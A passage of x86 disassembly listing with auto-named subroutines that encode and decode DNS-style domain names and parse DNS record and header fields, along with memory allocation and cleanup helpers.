		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4142ED:				; CODE XREF: sub_4142B7+21j
		mov	eax, [edi+ecx*4]
		and	eax, 0FFFh
		jmp	short loc_4142EA
sub_4142B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4142F7	proc near		; CODE XREF: sub_41430E+7p

arg_0		= dword	ptr  4

		xor	eax, eax
		inc	eax


loc_4142FA:				; CODE XREF: sub_4142F7+14j
		xor	edx, edx
		inc	edx
		mov	ecx, eax
		shl	edx, cl
		cmp	edx, [esp+arg_0]
		jge	short locret_41430D
		inc	eax
		cmp	eax, 8
		jle	short loc_4142FA

locret_41430D:				; CODE XREF: sub_4142F7+Ej
		retn
sub_4142F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41430E	proc near		; CODE XREF: sub_402B17+Cp
					; sub_402C86+104p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		call	sub_4142F7
		mov	ebx, eax
		xor	eax, eax
		pop	ecx
		inc	eax
		mov	ecx, ebx
		shl	eax, cl
		cmp	edi, eax
		jz	short loc_41432C
		xor	eax, eax
		jmp	short loc_414370
; ---------------------------------------------------------------------------


loc_41432C:				; CODE XREF: sub_41430E+18j
		push	esi
		push	0Ch
		call	sub_40CC7F
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jz	short loc_41434C
		push	3
		push	edi
		call	sub_40CC93
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+8], eax
		jnz	short loc_414350


loc_41434C:				; CODE XREF: sub_41430E+2Bj
		xor	eax, eax
		jmp	short loc_41436F
; ---------------------------------------------------------------------------


loc_414350:				; CODE XREF: sub_41430E+3Cj
		cmp	[esp+0Ch+arg_4], 0
		mov	[esi], edi
		mov	[esi+4], ebx
		jz	short loc_41436D
		imul	edi, 3
		push	edi
		push	[esp+10h+arg_4]
		push	eax
		call	sub_40CCF7
		add	esp, 0Ch


loc_41436D:				; CODE XREF: sub_41430E+4Cj
		mov	eax, esi


loc_41436F:				; CODE XREF: sub_41430E+40j
		pop	esi


loc_414370:				; CODE XREF: sub_41430E+1Cj
		pop	edi
		pop	ebx
		retn
sub_41430E	endp


; =============== S U B	R O U T	I N E =======================================



sub_414373	proc near		; CODE XREF: sub_402BDD+Bp
					; sub_41312A+2Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41438C
		push	dword ptr [esi+8]
		call	sub_40CCC5
		push	esi
		call	sub_40CCC5
		pop	ecx
		pop	ecx


loc_41438C:				; CODE XREF: sub_414373+7j
		pop	esi
		retn
sub_414373	endp


; =============== S U B	R O U T	I N E =======================================



sub_41438E	proc near		; CODE XREF: sub_4143D6+42p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4143D4
		mov	eax, [esi+24h]
		test	eax, eax
		jz	short loc_4143D4
		mov	ecx, [esi+20h]
		imul	ecx, 0Ch
		push	edi
		mov	edi, eax
		add	ecx, eax
		cmp	edi, ecx
		jnb	short loc_4143C6


loc_4143AD:				; CODE XREF: sub_41438E+36j
		push	dword ptr [edi+4]
		call	sub_40CCC5
		mov	eax, [esi+20h]
		imul	eax, 0Ch
		add	eax, [esi+24h]
		add	edi, 0Ch
		cmp	edi, eax
		pop	ecx
		jb	short loc_4143AD


loc_4143C6:				; CODE XREF: sub_41438E+1Dj
		push	dword ptr [esi+24h]
		call	sub_40CCC5
		and	dword ptr [esi+24h], 0
		pop	ecx
		pop	edi


loc_4143D4:				; CODE XREF: sub_41438E+7j
					; sub_41438E+Ej
		pop	esi
		retn
sub_41438E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4143D6	proc near		; CODE XREF: sub_41312A+56p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		test	edi, edi
		jz	short loc_41443C
		push	esi
		mov	esi, [edi+30h]
		test	esi, esi
		jz	short loc_41443B
		mov	eax, [edi+14h]
		imul	eax, 28h
		add	eax, esi
		jmp	short loc_41442A
; ---------------------------------------------------------------------------


loc_4143F1:				; CODE XREF: sub_4143D6+56j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_414403
		push	eax
		call	sub_414373
		and	dword ptr [esi+14h], 0
		pop	ecx


loc_414403:				; CODE XREF: sub_4143D6+20j
		mov	eax, [esi+18h]
		test	eax, eax
		jz	short loc_414411
		push	eax
		call	sub_40CCC5
		pop	ecx


loc_414411:				; CODE XREF: sub_4143D6+32j
		cmp	dword ptr [esi+24h], 0
		jz	short loc_41441E
		push	esi
		call	sub_41438E
		pop	ecx


loc_41441E:				; CODE XREF: sub_4143D6+3Fj
		mov	eax, [edi+14h]
		imul	eax, 28h
		add	esi, 28h
		add	eax, [edi+30h]


loc_41442A:				; CODE XREF: sub_4143D6+19j
		cmp	esi, eax
		jb	short loc_4143F1
		push	dword ptr [edi+30h]
		call	sub_40CCC5
		and	dword ptr [edi+30h], 0
		pop	ecx


loc_41443B:				; CODE XREF: sub_4143D6+Fj
		pop	esi


loc_41443C:				; CODE XREF: sub_4143D6+7j
		pop	edi
		retn
sub_4143D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41443E	proc near		; CODE XREF: sub_41527E+23p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		call	sub_40DB48
		push	[ebp+arg_0]
		lea	esi, [edi+8]
		and	dword ptr [esi], 0
		mov	ecx, edi
		call	sub_4012E7
		push	0
		call	sub_40CFAE
		add	eax, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		mov	[edi+4], eax
		lea	eax, ds:8[ebx*4]
		push	eax
		call	sub_40D0BB
		pop	ecx
		pop	ecx
		push	eax
		mov	ecx, esi
		call	sub_408034
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4144AC
		and	[ebp+arg_0], 0
		test	ebx, ebx
		mov	[eax], ebx
		jbe	short loc_4144AC


loc_414492:				; CODE XREF: sub_41443E+6Cj
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_C]
		mov	ecx, [esi]
		shl	eax, 2
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], ebx
		mov	edx, [eax+edx]
		mov	[eax+ecx+4], edx
		jb	short loc_414492


loc_4144AC:				; CODE XREF: sub_41443E+48j
					; sub_41443E+52j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_41443E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4144B5	proc near		; CODE XREF: sub_415397+5Fp
					; sub_415457+2Cp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		call	sub_40DB48
		mov	edi, [esp+0Ch+arg_0]
		lea	esi, [ebx+8]
		and	dword ptr [esi], 0
		push	0
		push	dword ptr [edi]
		mov	ecx, ebx
		call	sub_40DB5E
		mov	eax, [edi+4]
		mov	[ebx+4], eax
		mov	eax, [edi+8]
		mov	eax, [eax]
		lea	eax, ds:8[eax*4]
		push	eax
		call	sub_40D0BB
		pop	ecx
		push	eax
		mov	ecx, esi
		call	sub_408034
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41451E
		mov	ecx, [edi+8]
		mov	ecx, [ecx]
		mov	[eax], ecx
		mov	ecx, [esi]
		xor	eax, eax
		cmp	[ecx], eax
		jbe	short loc_41451E


loc_41450A:				; CODE XREF: sub_4144B5+67j
		mov	ecx, [edi+8]
		mov	ecx, [ecx+eax*4+4]
		mov	edx, [esi]
		mov	[edx+eax*4+4], ecx
		mov	ecx, [esi]
		inc	eax
		cmp	eax, [ecx]
		jb	short loc_41450A


loc_41451E:				; CODE XREF: sub_4144B5+44j
					; sub_4144B5+53j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	4
sub_4144B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_414526	proc near		; CODE XREF: sub_4154AD+FDp
		push	esi
		push	edi
		lea	edi, [ecx+8]
		mov	eax, [edi]
		mov	esi, [eax]
		test	esi, esi
		jbe	short loc_414544
		add	eax, 4
		mov	ecx, esi


loc_414538:				; CODE XREF: sub_414526+1Cj
		cmp	dword ptr [eax], 0
		jnz	short loc_41453E
		dec	esi


loc_41453E:				; CODE XREF: sub_414526+15j
		add	eax, 4
		dec	ecx
		jnz	short loc_414538


loc_414544:				; CODE XREF: sub_414526+Bj
		lea	eax, ds:8[esi*4]
		push	eax
		call	sub_40D0BB
		mov	[eax], esi
		pop	ecx
		mov	ecx, [edi]
		xor	edx, edx
		cmp	[ecx], edx
		jbe	short loc_414573
		lea	esi, [eax+4]


loc_41455F:				; CODE XREF: sub_414526+4Bj
		mov	ecx, [ecx+edx*4+4]
		test	ecx, ecx
		jz	short loc_41456C
		mov	[esi], ecx
		add	esi, 4


loc_41456C:				; CODE XREF: sub_414526+3Fj
		mov	ecx, [edi]
		inc	edx
		cmp	edx, [ecx]
		jb	short loc_41455F


loc_414573:				; CODE XREF: sub_414526+34j
		push	eax
		mov	ecx, edi
		call	sub_408034
		pop	edi
		pop	esi
		retn
sub_414526	endp


; =============== S U B	R O U T	I N E =======================================



sub_41457E	proc near		; CODE XREF: sub_414592+3Bp
					; sub_414592+5Ap ...

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		jz	short locret_41458F
		push	[esp+arg_0]
		call	sub_40CCC5
		pop	ecx

locret_41458F:				; CODE XREF: sub_41457E+5j
		retn	4
sub_41457E	endp


; =============== S U B	R O U T	I N E =======================================



sub_414592	proc near		; CODE XREF: sub_414B68+2E7p
					; sub_415F7D+1A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		mov	ebx, ecx
		jz	loc_4146D0
		movzx	eax, word ptr [esi+14h]
		cmp	ax, di
		jz	short loc_4145F1
		cmp	[esi+1Ch], edi
		jz	short loc_4145F1
		cmp	ax, di
		jbe	short loc_4145E7


loc_4145B8:				; CODE XREF: sub_414592+53j
		mov	eax, [esi+1Ch]
		lea	eax, [eax+edi*4]
		cmp	dword ptr [eax], 0
		jz	short loc_4145DE
		mov	eax, [eax]
		push	dword ptr [eax+108h]
		mov	ecx, ebx
		call	sub_41457E
		mov	eax, [esi+1Ch]
		push	dword ptr [eax+edi*4]
		call	sub_40CCC5
		pop	ecx


loc_4145DE:				; CODE XREF: sub_414592+2Fj
		movzx	eax, word ptr [esi+14h]
		inc	edi
		cmp	edi, eax
		jl	short loc_4145B8


loc_4145E7:				; CODE XREF: sub_414592+24j
		push	dword ptr [esi+1Ch]
		mov	ecx, ebx
		call	sub_41457E


loc_4145F1:				; CODE XREF: sub_414592+1Aj
					; sub_414592+1Fj
		movzx	eax, word ptr [esi+16h]
		xor	edi, edi
		cmp	ax, di
		jz	short loc_414639
		cmp	[esi+20h], edi
		jz	short loc_414639
		cmp	ax, di
		jbe	short loc_41462F


loc_414606:				; CODE XREF: sub_414592+9Bj
		mov	eax, [esi+20h]
		mov	eax, [eax+edi*4]
		push	dword ptr [eax+110h]
		mov	ecx, ebx
		call	sub_41457E
		mov	eax, [esi+20h]
		push	dword ptr [eax+edi*4]
		mov	ecx, ebx
		call	sub_41457E
		movzx	eax, word ptr [esi+16h]
		inc	edi
		cmp	edi, eax
		jl	short loc_414606


loc_41462F:				; CODE XREF: sub_414592+72j
		push	dword ptr [esi+20h]
		mov	ecx, ebx
		call	sub_41457E


loc_414639:				; CODE XREF: sub_414592+68j
					; sub_414592+6Dj
		movzx	eax, word ptr [esi+18h]
		xor	edi, edi
		cmp	ax, di
		jz	short loc_414681
		cmp	[esi+24h], edi
		jz	short loc_414681
		cmp	ax, di
		jbe	short loc_414677


loc_41464E:				; CODE XREF: sub_414592+E3j
		mov	eax, [esi+24h]
		mov	eax, [eax+edi*4]
		push	dword ptr [eax+110h]
		mov	ecx, ebx
		call	sub_41457E
		mov	eax, [esi+24h]
		push	dword ptr [eax+edi*4]
		mov	ecx, ebx
		call	sub_41457E
		movzx	eax, word ptr [esi+18h]
		inc	edi
		cmp	edi, eax
		jl	short loc_41464E


loc_414677:				; CODE XREF: sub_414592+BAj
		push	dword ptr [esi+24h]
		mov	ecx, ebx
		call	sub_41457E


loc_414681:				; CODE XREF: sub_414592+B0j
					; sub_414592+B5j
		movzx	eax, word ptr [esi+1Ah]
		xor	edi, edi
		cmp	ax, di
		jz	short loc_4146C9
		cmp	[esi+28h], edi
		jz	short loc_4146C9
		cmp	ax, di
		jbe	short loc_4146BF


loc_414696:				; CODE XREF: sub_414592+12Bj
		mov	eax, [esi+28h]
		mov	eax, [eax+edi*4]
		push	dword ptr [eax+110h]
		mov	ecx, ebx
		call	sub_41457E
		mov	eax, [esi+28h]
		push	dword ptr [eax+edi*4]
		mov	ecx, ebx
		call	sub_41457E
		movzx	eax, word ptr [esi+1Ah]
		inc	edi
		cmp	edi, eax
		jl	short loc_414696


loc_4146BF:				; CODE XREF: sub_414592+102j
		push	dword ptr [esi+28h]
		mov	ecx, ebx
		call	sub_41457E


loc_4146C9:				; CODE XREF: sub_414592+F8j
					; sub_414592+FDj
		push	esi
		call	sub_40CCC5
		pop	ecx


loc_4146D0:				; CODE XREF: sub_414592+Dj
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_414592	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4146D6	proc near		; CODE XREF: sub_4146D6+A5p
					; sub_414787+1Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		mov	edi, [ebp+arg_8]
		mov	eax, [edi]
		cmp	byte ptr [eax],	0
		mov	[ebp+var_4], ecx
		jnz	short loc_4146F4
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax],	0
		inc	dword ptr [edi]
		xor	eax, eax
		jmp	short loc_41474B
; ---------------------------------------------------------------------------


loc_4146F4:				; CODE XREF: sub_4146D6+10j
		mov	ecx, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		jmp	short loc_414742
; ---------------------------------------------------------------------------


loc_4146FE:				; CODE XREF: sub_4146D6+6Ej
		mov	eax, [edi]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_414782
		movzx	esi, byte ptr [eax]
		inc	eax
		test	esi, esi
		mov	[edi], eax
		jz	short loc_414750
		mov	edx, esi
		and	dx, 0C0h
		cmp	dl, 0C0h
		jz	short loc_414758
		lea	edx, [eax+esi]
		cmp	edx, [ebp+arg_10]
		jnb	short loc_414782
		lea	edx, [esi+ecx]
		mov	[ebp+arg_0], edx
		inc	edx
		cmp	edx, ebx
		jnb	short loc_414746
		push	esi
		push	eax
		push	ecx
		call	sub_40CCF7
		mov	ecx, [ebp+arg_0]
		add	esp, 0Ch
		mov	byte ptr [ecx],	2Eh
		inc	ecx
		add	[edi], esi


loc_414742:				; CODE XREF: sub_4146D6+26j
		cmp	ecx, ebx
		jb	short loc_4146FE


loc_414746:				; CODE XREF: sub_4146D6+56j
		push	2
		pop	eax


loc_414749:				; CODE XREF: sub_4146D6+80j
					; sub_4146D6+AAj ...
		pop	esi
		pop	ebx


loc_41474B:				; CODE XREF: sub_4146D6+1Cj
		pop	edi
		leave
		retn	14h
; ---------------------------------------------------------------------------


loc_414750:				; CODE XREF: sub_4146D6+37j
		mov	byte ptr [ecx-1], 0
		xor	eax, eax
		jmp	short loc_414749
; ---------------------------------------------------------------------------


loc_414758:				; CODE XREF: sub_4146D6+43j
		movzx	edx, byte ptr [eax]
		push	[ebp+arg_10]
		and	esi, 3Fh
		shl	esi, 8
		add	esi, edx
		inc	eax
		mov	[edi], eax
		mov	eax, [ebp+arg_C]
		push	eax
		add	esi, eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	ecx
		mov	ecx, [ebp+var_4]
		mov	[ebp+arg_0], esi
		call	sub_4146D6
		jmp	short loc_414749
; ---------------------------------------------------------------------------


loc_414782:				; CODE XREF: sub_4146D6+2Dj
					; sub_4146D6+4Bj
		xor	eax, eax
		inc	eax
		jmp	short loc_414749
sub_4146D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_414787	proc near		; CODE XREF: sub_414B68+1DBp
					; sub_414B68+254p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_4]
		push	edi
		push	[esp+0Ch+arg_C]
		mov	edi, [esp+10h+arg_0]
		push	[esp+10h+arg_8]
		lea	eax, [edi+0FFh]
		push	esi
		push	eax
		push	edi
		call	sub_4146D6
		mov	ebx, eax
		test	ebx, ebx
		jnz	loc_4148A0
		mov	ecx, [esi]
		movzx	ecx, byte ptr [ecx]
		lea	eax, [edi+100h]
		mov	[eax], ecx
		inc	dword ptr [esi]
		mov	edx, [eax]
		mov	ecx, [esi]
		movzx	ecx, byte ptr [ecx]
		shl	edx, 8
		add	edx, ecx
		mov	[eax], edx
		inc	dword ptr [esi]
		mov	ecx, [esi]
		movzx	ecx, byte ptr [ecx]
		lea	eax, [edi+104h]
		mov	[eax], ecx
		inc	dword ptr [esi]
		mov	edx, [eax]
		mov	ecx, [esi]
		movzx	ecx, byte ptr [ecx]
		shl	edx, 8
		add	edx, ecx
		mov	[eax], edx
		inc	dword ptr [esi]
		mov	eax, [esi]
		movzx	eax, byte ptr [eax]
		mov	[edi+108h], eax
		inc	dword ptr [esi]
		mov	eax, [esi]
		movzx	eax, byte ptr [eax]
		mov	ecx, [edi+108h]
		shl	ecx, 8
		add	ecx, eax
		mov	[edi+108h], ecx
		inc	dword ptr [esi]
		mov	eax, [esi]
		movzx	eax, byte ptr [eax]
		mov	ecx, [edi+108h]
		shl	ecx, 8
		add	ecx, eax
		mov	[edi+108h], ecx
		inc	dword ptr [esi]
		mov	eax, [esi]
		movzx	eax, byte ptr [eax]
		mov	ecx, [edi+108h]
		shl	ecx, 8
		add	ecx, eax
		mov	[edi+108h], ecx
		inc	dword ptr [esi]
		mov	eax, [esi]
		movzx	ax, byte ptr [eax]
		mov	[edi+10Ch], ax
		inc	dword ptr [esi]
		mov	eax, [esi]
		movzx	ax, byte ptr [eax]
		mov	cx, [edi+10Ch]
		shl	cx, 8
		add	cx, ax
		mov	[edi+10Ch], cx
		inc	dword ptr [esi]
		movzx	eax, word ptr [edi+10Ch]
		push	eax
		call	sub_40CC7F
		movzx	ecx, word ptr [edi+10Ch]
		push	ecx
		mov	[edi+110h], eax
		push	dword ptr [esi]
		push	eax
		call	sub_40CCF7
		movzx	eax, word ptr [edi+10Ch]
		add	esp, 10h
		add	[esi], eax


loc_4148A0:				; CODE XREF: sub_414787+25j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	10h
sub_414787	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148A8	proc near		; CODE XREF: sub_414B68+160p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ebx, [esi]
		push	edi
		push	[ebp+arg_C]
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_8]
		lea	eax, [edi+0FFh]
		push	esi
		push	eax
		push	edi
		call	sub_4146D6
		test	eax, eax
		mov	[ebp+arg_4], eax
		jnz	short loc_41490F
		mov	ecx, [esi]
		movzx	ecx, byte ptr [ecx]
		lea	eax, [edi+100h]
		mov	[eax], ecx
		inc	dword ptr [esi]
		mov	ecx, [esi]
		movzx	ecx, byte ptr [ecx]
		mov	edx, [eax]
		shl	edx, 8
		add	edx, ecx
		mov	[eax], edx
		inc	dword ptr [esi]
		mov	ecx, [esi]
		movzx	ecx, byte ptr [ecx]
		lea	eax, [edi+104h]
		mov	[eax], ecx
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	edx, [eax]
		movzx	ecx, byte ptr [ecx]
		shl	edx, 8
		add	edx, ecx
		mov	[eax], edx
		inc	dword ptr [esi]


loc_41490F:				; CODE XREF: sub_4148A8+27j
		mov	eax, [esi]
		sub	eax, ebx
		lea	esi, [edi+10Ch]
		push	eax
		mov	[esi], eax
		call	sub_40CC7F
		push	dword ptr [esi]
		mov	[edi+108h], eax
		push	ebx
		push	eax
		call	sub_40CCF7
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_4148A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41493D	proc near		; CODE XREF: sub_4149C4+1Dp
					; sub_414AD3+19p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		test	edi, edi
		mov	eax, 400h
		mov	[esi+4], eax
		jz	short loc_4149B5
		push	eax
		call	sub_40CC7F
		lea	ebx, [eax+400h]
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		mov	edx, eax
		jnb	short loc_4149AD


loc_414969:				; CODE XREF: sub_41493D+5Aj
		mov	byte ptr [eax],	0
		inc	eax
		cmp	byte ptr [edi],	0
		jz	short loc_414999


loc_414972:				; CODE XREF: sub_41493D+48j
		cmp	eax, ebx
		jnb	short loc_4149AD
		mov	cl, [edi]
		test	cl, cl
		jz	short loc_414987
		cmp	cl, 2Eh
		jz	short loc_414987
		mov	[eax], cl
		inc	eax
		inc	edi
		jmp	short loc_414972
; ---------------------------------------------------------------------------


loc_414987:				; CODE XREF: sub_41493D+3Dj
					; sub_41493D+42j
		mov	cl, al
		sub	cl, dl
		dec	cl
		mov	[edx], cl
		cmp	byte ptr [edi],	2Eh
		jnz	short loc_414995
		inc	edi


loc_414995:				; CODE XREF: sub_41493D+55j
		mov	edx, eax
		jmp	short loc_414969
; ---------------------------------------------------------------------------


loc_414999:				; CODE XREF: sub_41493D+33j
		mov	ecx, [esi]
		sub	eax, ecx
		push	eax
		push	ecx
		mov	[esi+4], eax
		call	sub_40CCAD
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jmp	short loc_4149BC
; ---------------------------------------------------------------------------


loc_4149AD:				; CODE XREF: sub_41493D+2Aj
					; sub_41493D+37j
		push	dword ptr [esi]
		call	sub_40CCC5
		pop	ecx


loc_4149B5:				; CODE XREF: sub_41493D+15j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0


loc_4149BC:				; CODE XREF: sub_41493D+6Ej
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
sub_41493D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149C4	proc near		; CODE XREF: sub_414E58+104p
					; sub_414E58+138p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		xor	eax, eax
		push	edi
		mov	edi, [ebp+arg_8]
		inc	eax
		cmp	[edi+104h], eax
		jnz	loc_414ACE
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41493D
		cmp	[ebp+var_8], 0
		jnz	short loc_4149F4
		push	2
		pop	eax
		jmp	loc_414ACE
; ---------------------------------------------------------------------------


loc_4149F4:				; CODE XREF: sub_4149C4+26j
		movzx	ecx, word ptr [edi+10Ch]
		push	ebx
		mov	ebx, [ebp+var_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		add	ecx, eax
		lea	ecx, [ecx+ebx+0Ah]
		cmp	ecx, [ebp+arg_4]
		jb	short loc_414A18
		push	4
		pop	eax
		jmp	loc_414ACC
; ---------------------------------------------------------------------------


loc_414A18:				; CODE XREF: sub_4149C4+4Aj
		push	ebx
		push	[ebp+var_8]
		push	eax
		call	sub_40CCF7
		push	[ebp+var_8]
		call	sub_40CCC5
		add	[esi], ebx
		mov	ecx, [esi]
		lea	eax, [edi+100h]
		mov	edx, [eax]
		sar	edx, 8
		mov	[ecx], dl
		inc	dword ptr [esi]
		mov	al, [eax]
		mov	ecx, [esi]
		mov	[ecx], al
		inc	dword ptr [esi]
		mov	ecx, [edi+104h]
		mov	eax, [esi]
		sar	ecx, 8
		mov	[eax], cl
		inc	dword ptr [esi]
		mov	cl, [edi+104h]
		mov	eax, [esi]
		mov	[eax], cl
		inc	dword ptr [esi]
		mov	cl, [edi+10Bh]
		mov	eax, [esi]
		mov	[eax], cl
		inc	dword ptr [esi]
		mov	cl, [edi+10Ah]
		mov	eax, [esi]
		mov	[eax], cl
		inc	dword ptr [esi]
		mov	cl, [edi+109h]
		mov	eax, [esi]
		mov	[eax], cl
		inc	dword ptr [esi]
		mov	cl, [edi+108h]
		mov	eax, [esi]
		mov	[eax], cl
		inc	dword ptr [esi]
		mov	cl, [edi+10Dh]
		mov	eax, [esi]
		mov	[eax], cl
		inc	dword ptr [esi]
		mov	eax, [esi]
		mov	cl, [edi+10Ch]
		mov	[eax], cl
		inc	dword ptr [esi]
		movzx	ecx, word ptr [edi+10Ch]
		mov	eax, [esi]
		push	ecx
		push	dword ptr [edi+110h]
		push	eax
		call	sub_40CCF7
		movzx	eax, word ptr [edi+10Ch]
		add	[esi], eax
		add	esp, 1Ch
		xor	eax, eax


loc_414ACC:				; CODE XREF: sub_4149C4+4Fj
		pop	esi
		pop	ebx


loc_414ACE:				; CODE XREF: sub_4149C4+12j
					; sub_4149C4+2Bj
		pop	edi
		leave
		retn	0Ch
sub_4149C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414AD3	proc near		; CODE XREF: sub_414E58+D0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		xor	eax, eax
		push	edi
		mov	edi, [ebp+arg_8]
		inc	eax
		cmp	[edi+104h], eax
		jnz	short loc_414B63
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41493D
		cmp	[ebp+var_8], 0
		jnz	short loc_414AFC
		push	2
		pop	eax
		jmp	short loc_414B63
; ---------------------------------------------------------------------------


loc_414AFC:				; CODE XREF: sub_414AD3+22j
		push	ebx
		mov	ebx, [ebp+var_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		lea	ecx, [eax+ebx+4]
		cmp	ecx, [ebp+arg_4]
		jb	short loc_414B14
		push	4
		pop	eax
		jmp	short loc_414B61
; ---------------------------------------------------------------------------


loc_414B14:				; CODE XREF: sub_414AD3+3Aj
		push	ebx
		push	[ebp+var_8]
		push	eax
		call	sub_40CCF7
		push	[ebp+var_8]
		call	sub_40CCC5
		add	[esi], ebx
		mov	ecx, [esi]
		lea	eax, [edi+100h]
		mov	edx, [eax]
		sar	edx, 8
		mov	[ecx], dl
		add	esp, 10h
		inc	dword ptr [esi]
		mov	al, [eax]
		mov	ecx, [esi]
		mov	[ecx], al
		inc	dword ptr [esi]
		mov	ecx, [edi+104h]
		mov	eax, [esi]
		sar	ecx, 8
		mov	[eax], cl
		inc	dword ptr [esi]
		mov	eax, [esi]
		mov	cl, [edi+104h]
		mov	[eax], cl
		inc	dword ptr [esi]
		xor	eax, eax


loc_414B61:				; CODE XREF: sub_414AD3+3Fj
		pop	esi
		pop	ebx


loc_414B63:				; CODE XREF: sub_414AD3+12j
					; sub_414AD3+27j
		pop	edi
		leave
		retn	0Ch
sub_414AD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B68	proc near		; CODE XREF: sub_415F7D+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0Ch
		mov	[ebp+var_4], ecx
		jge	short loc_414B7D
		xor	eax, eax
		jmp	locret_414E47
; ---------------------------------------------------------------------------


loc_414B7D:				; CODE XREF: sub_414B68+Cj
		push	esi
		push	30h
		push	1
		call	sub_40CC93
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_414E46
		push	ebx
		push	edi
		mov	edi, [ebp+arg_0]
		movzx	ax, byte ptr [edi]
		movzx	cx, byte ptr [edi+1]
		shl	ax, 8
		add	ax, cx
		mov	[esi], ax
		mov	al, [edi+2]
		shr	al, 7
		mov	[esi+2], al
		movzx	eax, byte ptr [edi+2]
		shr	eax, 3
		and	eax, 0Fh
		mov	[esi+4], eax
		mov	al, [edi+2]
		shr	al, 2
		and	al, 1
		mov	[esi+8], al
		mov	al, [edi+2]
		shr	al, 1
		and	al, 1
		mov	[esi+9], al
		mov	al, [edi+2]
		and	al, 1
		mov	[esi+0Ah], al
		mov	al, [edi+3]
		shr	al, 7
		mov	[esi+0Bh], al
		mov	al, [edi+3]
		shr	al, 6
		and	al, 1
		mov	[esi+0Ch], al
		mov	al, [edi+3]
		shr	al, 5
		and	al, 1
		mov	[esi+0Dh], al
		mov	al, [edi+3]
		shr	al, 4
		and	al, 1
		mov	[esi+0Eh], al
